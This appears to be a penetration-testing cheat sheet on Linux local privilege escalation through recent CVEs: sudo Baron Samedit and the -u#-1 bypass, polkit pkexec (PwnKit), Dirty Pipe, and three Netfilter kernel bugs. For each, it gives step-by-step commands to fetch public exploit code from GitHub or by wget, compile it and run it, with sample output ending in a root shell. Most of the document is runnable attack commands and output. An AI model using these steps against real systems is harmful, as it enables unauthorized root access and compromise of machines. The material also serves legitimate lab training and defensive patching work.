Recent 0-Days
Sudo
The /etc/sudoers file specifies which users or groups are allowed to run specific programs and with what privileges.
$ sudo cat /etc/sudoers | grep -v "#" | sed -r '/^\s*$/d'CVE-2021-3156
1.8.31 - Ubuntu 20.04
1.8.27 - Debian 10
1.9.2 - Fedora 33
Check sudo version
$ sudo -V | head -n1 Sudo version 1.8.31Download and compile the PoC
$ git clone https://github.com/blasty/CVE-2021-3156.git $ cd CVE-2021-3156 $ make rm -rf libnss_X mkdir libnss_X gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.cCheck the exploit
$ ./sudo-hax-me-a-sandwich ** CVE-2021-3156 PoC by blasty <peter@haxx.in> usage: ./sudo-hax-me-a-sandwich <target> available targets: ------------------------------------------------------------ 0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28 ------------------------------------------------------------ manual mode: ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>Check the OS Version so we know the <target>
$ cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=20.04 DISTRIB_CODENAME=focal DISTRIB_DESCRIPTION="Ubuntu 20.04.1 LTS"Exploit
$ ./sudo-hax-me-a-sandwich 1 ** CVE-2021-3156 PoC by blasty <peter@haxx.in> using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 ['/usr/bin/sudoedit'] (56, 54, 63, 212) ** pray for your rootshell.. ** # id uid=0(root) gid=0(root) groups=0(root)
CVE-2019-14287
Affected Versions: < 1.8.28
Pre-requisites
It had to allow a user in the
/etc/sudoersfile to execute a specific command (and this command is the one that will be run as root)
Sample Scenario
Check sudo privileges
$ sudo -l [sudo] password for cry0l1t3: ********** User cry0l1t3 may run the following commands on Penny: ALL=(ALL) /usr/bin/idUse the -1 id when executing sudo
$ sudo -u#-1 id root@nix02:/home/cry0l1t3# id uid=0(root) gid=1005(cry0l1t3) groups=1005(cry0l1t3)
Polkit
PolicyKit (polkit) is an authorization service on Linux-based operating systems that allows user software and system components to communicate with each other if the user software is authorized to do so. To check whether the user software is authorized for this instruction, polkit is asked.
Polkit works with two groups of files.
actions/policies (
/usr/share/polkit-1/actions)rules (
/usr/share/polkit-1/rules.d)
The most interesting functionality is pkexec because it acts similary to sudo
$ pkexec -u root id
uid=0(root) gid=0(root) groups=0(root)CVE-2021-4034
Download and compile the exploit
$ git clone https://github.com/arthepsy/CVE-2021-4034.git $ cd CVE-2021-4034 $ gcc cve-2021-4034-poc.c -o pocRun the exploit
$ ./poc # id uid=0(root) gid=0(root) groups=0(root)
Dirty Pipe
CVE-2022-0847
Affected Versions: 5.8 - 5.17
Download and compile the exploit
$ git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git $ cd CVE-2022-0847-DirtyPipe-Exploits $ bash compile.shWe can use 2 exploits
The first exploit version (
exploit-1) modifies the/etc/passwdand gives us a prompt with root privilegesVerify kernel version
$ uname -r 5.13.0-46-genericRun exploit 1
$ ./exploit-1 Backing up /etc/passwd to /tmp/passwd.bak ... Setting root password to "piped"... Password: Restoring /etc/passwd from /tmp/passwd.bak... Done! Popping shell... (run commands now) id uid=0(root) gid=0(root) groups=0(root)
The 2nd exploit version (
exploit-2), we can execute SUID binaries with root privileges.Find binaries with SUID set
$ find / -perm -4000 2>/dev/nullRun exploit 2 with the binary as the parameter
$ ./exploit-2 /usr/bin/sudo [+] hijacking suid binary.. [+] dropping suid shell.. [+] restoring suid binary.. [+] popping root shell.. (dont forget to clean up /tmp/sh ;)) # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(cry0l1t3)
Net Filter
Netfilter is a Linux kernel module that provides, among other things, packet filtering, network address translation, and other tools relevant to firewalls
This kernel module has three main functions:
Packet defragmentation
Connection tracking
Network address translation (NAT)
When the module is activated, all IP packets are checked by the Netfilter before they are forwarded to the target application of the own or remote system. In 2021 (CVE-2021-22555), 2022 (CVE-2022-1015), and also in 2023 (CVE-2023-32233), several vulnerabilities were found that could lead to privilege escalation.
CVE-2021-22555
Vulnerable kernel versions: 2.6 - 5.11
$ wget https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
$ gcc -m32 -static exploit.c -o exploit
$ ./exploit
[+] Linux Privilege Escalation by theflow@ - 2021
[+] STAGE 0: Initialization
[*] Setting up namespace sandbox...
[*] Initializing sockets and message queues...
[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[+] fake_idx: fff
[+] real_idx: fdf
...SNIP...
root@ubuntu:/home/cry0l1t3# id
uid=0(root) gid=0(root) groups=0(root)CVE-2022-25636
Vulnerable Kernel Versions: 5.4 through 5.6.10
$ git clone https://github.com/Bonfee/CVE-2022-25636.git
cry0l1t3@ubuntu:~$ cd CVE-2022-25636
cry0l1t3@ubuntu:~$ make
cry0l1t3@ubuntu:~$ ./exploit
[*] STEP 1: Leak child and parent net_device
[+] parent net_device ptr: 0xffff991285dc0000
[+] child net_device ptr: 0xffff99128e5a9000
[*] STEP 2: Spray kmalloc-192, overwrite msg_msg.security ptr and free net_device
[+] net_device struct freed
[*] STEP 3: Spray kmalloc-4k using setxattr + FUSE to realloc net_device
[+] obtained net_device struct
[*] STEP 4: Leak kaslr
[*] kaslr leak: 0xffffffff823093c0
[*] kaslr base: 0xffffffff80ffefa0
[*] STEP 5: Release setxattrs, free net_device, and realloc it again
[+] obtained net_device struct
[*] STEP 6: rop :)
# id
uid=0(root) gid=0(root) groups=0(root)CVE-2023-32233
Vulnerable Kernel Versions: up to version 6.3.1
$ git clone https://github.com/Liuk3r/CVE-2023-32233
$ cd CVE-2023-32233
$ gcc -Wall -o exploit exploit.c -lmnl -lnftnl
$ ./exploit
[*] Netfilter UAF exploit
Using profile:
========
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
========
[*] Checking for available CPUs...
[*] sched_getaffinity() => 0 2
[*] Reserved CPU 0 for PWN Worker
[*] Started cpu_spinning_loop() on CPU 1
[*] Started cpu_spinning_loop() on CPU 2
[*] Started cpu_spinning_loop() on CPU 3
[*] Creating "/tmp/modprobe"...
[*] Creating "/tmp/trigger"...
[*] Updating setgroups...
[*] Updating uid_map...
[*] Updating gid_map...
[*] Signaling PWN Worker...
[*] Waiting for PWN Worker...
...SNIP...
[*] You've Got ROOT:-)
# id
uid=0(root) gid=0(root) groups=0(root)Last updated